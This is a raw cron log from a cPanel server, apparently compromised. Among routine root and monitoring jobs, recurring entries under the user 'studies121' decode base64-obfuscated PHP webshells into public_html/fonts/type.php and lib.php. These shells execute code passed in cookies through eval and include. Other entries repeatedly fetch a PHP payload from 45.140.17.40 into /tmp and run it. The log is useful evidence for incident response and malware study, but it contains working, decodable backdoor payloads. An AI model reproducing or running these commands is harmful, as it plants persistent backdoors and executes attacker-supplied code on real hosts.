Sep  7 09:13:01 ip-184-168-122-23 CROND[31138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:13:01 ip-184-168-122-23 CROND[31139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:14:01 ip-184-168-122-23 CROND[31348]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:14:01 ip-184-168-122-23 CROND[31347]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:14:01 ip-184-168-122-23 CROND[31349]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:14:01 ip-184-168-122-23 CROND[31346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:14:01 ip-184-168-122-23 CROND[31350]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:15:01 ip-184-168-122-23 CROND[31455]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:15:01 ip-184-168-122-23 CROND[31453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:15:01 ip-184-168-122-23 CROND[31454]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:15:01 ip-184-168-122-23 CROND[31458]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:15:01 ip-184-168-122-23 CROND[31460]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:15:01 ip-184-168-122-23 CROND[31461]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:16:01 ip-184-168-122-23 CROND[31581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:16:01 ip-184-168-122-23 CROND[31583]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:16:01 ip-184-168-122-23 CROND[31584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:16:01 ip-184-168-122-23 CROND[31586]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:16:01 ip-184-168-122-23 CROND[31582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:16:01 ip-184-168-122-23 CROND[31585]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 09:17:01 ip-184-168-122-23 CROND[31719]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:17:01 ip-184-168-122-23 CROND[31721]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:17:01 ip-184-168-122-23 CROND[31723]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:17:01 ip-184-168-122-23 CROND[31722]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:18:01 ip-184-168-122-23 CROND[31866]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:18:01 ip-184-168-122-23 CROND[31868]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:18:01 ip-184-168-122-23 CROND[31871]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:18:01 ip-184-168-122-23 CROND[31869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:18:01 ip-184-168-122-23 CROND[31870]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:19:01 ip-184-168-122-23 CROND[31969]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:19:01 ip-184-168-122-23 CROND[31968]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:19:01 ip-184-168-122-23 CROND[31970]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:19:01 ip-184-168-122-23 CROND[31971]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32165]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:20:02 ip-184-168-122-23 CROND[32169]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:20:02 ip-184-168-122-23 CROND[32173]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32172]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32170]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32179]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:20:02 ip-184-168-122-23 CROND[32180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 09:21:01 ip-184-168-122-23 CROND[32278]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:21:01 ip-184-168-122-23 CROND[32280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:21:01 ip-184-168-122-23 CROND[32279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:21:01 ip-184-168-122-23 CROND[32284]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:22:01 ip-184-168-122-23 CROND[32401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:22:01 ip-184-168-122-23 CROND[32403]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:22:01 ip-184-168-122-23 CROND[32404]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:22:01 ip-184-168-122-23 CROND[32402]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:22:01 ip-184-168-122-23 CROND[32409]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:23:01 ip-184-168-122-23 CROND[32499]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:23:01 ip-184-168-122-23 CROND[32500]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:23:01 ip-184-168-122-23 CROND[32501]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:23:01 ip-184-168-122-23 CROND[32502]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:24:01 ip-184-168-122-23 CROND[32636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 09:24:01 ip-184-168-122-23 CROND[32639]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 09:24:01 ip-184-168-122-23 CROND[32638]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 09:24:01 ip-184-168-122-23 CROND[32637]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:24:01 ip-184-168-122-23 CROND[32640]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:25:01 ip-184-168-122-23 CROND[301]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 09:25:01 ip-184-168-122-23 CROND[315]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 09:25:01 ip-184-168-122-23 CROND[316]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
